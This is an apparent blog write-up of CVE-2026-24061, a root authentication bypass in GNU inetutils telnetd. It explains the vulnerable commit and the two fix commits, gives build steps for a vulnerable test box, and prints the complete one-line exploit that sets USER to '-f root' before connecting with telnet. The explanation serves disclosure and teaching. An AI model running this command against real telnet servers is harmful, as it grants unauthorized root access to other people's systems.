i,ROBOT

February 2, 2026

I, telnet (CVE–2026-24061)

Exploiting, and Exploring
GNU inetutils telnetd Exploit

> I am not a demon. I am a lizard, a shark, a heat-seeking panther. I want to be Bob Denver on acid playing the accordion.
>
> Nicolas Cage

Contents

1 What **2**

1.1 Telnet 2

1.2 Environment Variables 2

2 How **2**

2.1 Create Vulnerable Box 3

3 Details **4**

3.1 Problem 4

3.2 Solution 1 5

3.3 Solution 2 6

1 What

CVE-2026-24061 is a uniquly old vulnerability, (Exactly 10 years, 10 months, 14 days[1]), that injects a malicious environment variable to allow for root login.

This vulnerability is also very easy to exploit, the only issue is finding vulnerable endpoints, since telnet is slowly being phased out.

1.1 Telnet

Telnet, for those who dont know, is a client to server application protocol that provides remote control of a system (similar to SSH), and is an abbreviation of *telecommunications network*.([8], pg. 3 [9])

1.2 Environment Variables

Environment Variables are "user-definable values" that change the way the user environment is ran.[7] The idea goes back as far as the Multix Operating System (1964).[2]

These hidden variables, influence how programs run, allowing those programs to conform to how your user session is configured. In the case of *CVE-2026-24061*, we change the *$USER* environment variable, which normally gives you the name of the current user, to a malicious value.

2 How

This is a very simple vulnerability that requires very little effort or knowledge to exploit. The following is the exploitation of the vulnerability in its entirety[3]:

```
# '-f': skips login authentication
# Linux client (requires -a option)
#  -a: Tries to automatically logon
USER="-f root" telnet -a 127.0.0.1 2323

# macOS client (no -a option needed)
USER="-f root" telnet 127.0.0.1 2323
```

[1] I calculated that period of time from the code commit date, till February 02, 2026.

The specific vulnerable peice of code was introduced, I found, was commit *fa3245ac8c288b87139a0da8249d0a408c4dfb87*, from the *GNU's inetutils* git repository: `https://git.savannah.gnu.org/git/inetutils.git`

[2] The history of environment variables seems to be a little tenuous, with not a lot of easily accessable information. It seems the idea originated in the Multics Operating System (inital 1964[5]), where "the idea of 'context' for each user session" was introduced.

Environment variables where then used to specify the differences in the user session. From there the idea was carried on to the Unix System. This could have been done through cross polination, since *bell labs* worked on both *UNIX* and *Multix* (Conjecture).[6]

2.1 Create Vulnerable Box

If you want to create a vulnerable box, to demonstrate or otherwise, there are a couple options on doing so. It boils down to compiling an old version of *inetutils*, which you can find on their site:

- GNU Project Page https://savannah.gnu.org/projects/inetutils
- GNU Download Page https://ftp.gnu.org/gnu/inetutils/
- GNU Git Page https://savannah.gnu.org/git/?group=inetutils

To compile the code, first retreive a vulerable version of *inetutils*. From there you *can* compile it using the following command:

```
# Install necessary packages:
#  build-base xz xinetd

# Configure Packages
#  --disable-clients: Prevents compilation of clients
#  --prefix=/usr:  Puts the binaries in the ‘/usr‘ directory
./configure --prefix=/usr --disable-clients

# Compile Binaries
make

# Install Compiled Binaries
make install
```

Then you need to start it, you can use the inbuild init system for your OS, or you could use the following command:

```
xinetd

# If you dont want it to daemonize
xinetd -dontfork
```

You can also use other, premade boxes, for example, using docker. Here are some:

Vulhub – GNU InetUtils telnetd Argument injection, docker image
JayGLXR – CVE-2026-24061 PoC docker image
SeptembersEND – CVE-2026-24061 PoC docker image

3 Details

To get into the specifics of what enabled the vulnerability, you should get access to the source code, which you can find on the projects homepage:
https://savannah.gnu.org/projects/inetutils.

3.1 Problem

The Problem was introduced in commit *fa3245ac8c288b87139a0da8249d0a408c4dfb87*, and added the following line of C:

```
+    case ’U’:
+      return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");
+
```

Which get the environment variable *$USER* and returns it, unless its empty. This snippet uses a trinary operator to create an if statement which looks like the following:

```
if (getenv("USER")) {
   return xstrdup(getenv("USER"));
} else {
   return xstrdup("");
}
```

The environment variable is something that can be user provided, and as such, is subject to an injection attack. In this case the environment variable is looking for the users username.

3.2 Solution 1

The first solution, in the commit *fd702c02497b2f398e739e3119bed0b23dd7aa7b*, that was added:

```
-     return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");
+     {
+  /* Ignore user names starting with ’-’ or containing shell
+     metachars, as they can cause trouble. */
+  char const *u = getenv ("USER");
+  return xstrdup ((u && *u != ’-’
+        && !u[strcspn (u, "\t\n !\"#\$&’()*;<=>?[\\^‘{|}~")])
+       ? u : "");
+     }
```

This solution filters input rejecting all usernames that start with ’-’ or are containing any “shell meta-characters”.

The simplified code is as follows:

```
// Gets the environment variable
char const *u = getenv("USER");
// ‘u‘ checks if the value is not zero AND
// ‘*u != ’-’‘ cheks if the first value does not equal ’-’ AND
// ‘!u[strcspn(u, "\t\n !#$&<=>?[\\^‘{|}~ ")]‘
// gives the index of any charactor that is within the passed string.
// If the string does not contain any of those charactors, it will give
// the index of the last chacator, which must be ’\0’ or 0.
// The ‘!u[]‘ check if the charactor at index in ‘u‘ is 0.
if (u && *u != ’-’ && !u[strcspn(u, "\t\n !#$&<=>?[\\^‘{|}~ ")]) {
  return xstrdup(u);
} else {
  return xstrdup("");
}
```

The sanitization function is a little complicated but it prevents the issue from occuring, although only on this return.

3.3 Solution 2

The second solution that, as of current, is merged into the current code base. The commit is: *ccba9f748aa8d50a38d7748e2e60362edd6a32cc*

```
+static char *
+sanitize (const char *u)
+{
+  /* Ignore values starting with ’-’ or containing shell metachars, as
+    they can cause trouble. */
+  if (u && *u != ’-’ && !u[strcspn (u, "\t\n
    !\"#$&’()*;<=>?[\\^‘{|}~")])
+   return u;
+  else
+   return "";
+}
+
   ...
    case ’U’:
-     {
-  /* Ignore user names starting with ’-’ or containing shell
-    metachars, as they can cause trouble. */
-  char const *u = getenv ("USER");
-  return xstrdup ((u && *u != ’-’
-        && !u[strcspn (u, "\t\n !\"#$&’()*;<=>?[\\^‘{|}~")])
-       ? u : "");
-     }
+     return xstrdup (sanitize (getenv ("USER")));
```

This next fix moves the fix from the previous fix into a function and applies it to other potentially vulnerable variables.

References

[1] "NVD–CVE-2026-24061." *nist. gov*, 2026,
https://nvd.nist.gov/vuln/detail/CVE-2026-24061.
Accessed 02 Feb. 2026.

[2] Team, OffSec. "CVE–2026-24061 — GNU InetUtils Telnetd Authentication Bypass Vulnerability." *OffSec*, 30 Jan, 2026,
https://www.offsec.com/blog/cve-2026-24061/
Accessed 02 Feb. 2026.

[3] Vulhub. "Vulhub/Inetutils/CVE–2026-24061 — Vulhub." Github, 2025,
https://github.com/vulhub/vulhub/tree/master/inetutils/CVE-2026-24061
Accessed 02 Feb. 2026.

[4] Cohen, Ran. "Decoding the Matrix: The Evolution of Environment Variables in Software." *Configu* 6 Mar. 2024,
https://configu.com/blog/decoding-the-matrix-the-evolution-of-environment-variables-in-software/
Accessed 02 Feb. 2026.

[5] Wikipedia Contributors. "Multics." *Wikipedia*, Wikimedia Foundation, 17 Jan, 2020,
https://en.wikipedia.org/wiki/Multics
Accessed 02 Feb. 2026.

[6] Wikipedia Contributors. "Unix." *Wikipedia*, Wikimedia Foundation, 17 Jan, 2020,
https://en.wikipedia.org/wiki/Unix
Accessed 02 Feb. 2026.

[7] Wikipedia Contributors. "Environment variable." *Wikipedia*, Wikimedia Foundation, 17 Jan, 2020,
https://en.wikipedia.org/wiki/Environment_variable
Accessed 02 Feb. 2026.

[8] Wikipedia Contributors. "Telnet." *Wikipedia*, Wikimedia Foundation, 17 Jan, 2020,
https://en.wikipedia.org/wiki/Telnet
Accessed 02 Feb. 2026.

[9] Crocker, Stephen, et al. "Function-Oriented Protocols for the ARPA Computer Netowkr." 1 Jan 1971,
https://doi.org/10.1145/1478873.1478908
Accessed 02 Feb. 2026.

[10] SystemVll. "GitHub - SystemVll/CVE-2026-24061: Proof of Concept." GitHub, 2025,
https://github.com/SystemVll/CVE-2026-24061.
Accessed 2 Feb. 2026.

There are aproxamently 1451 words in this document.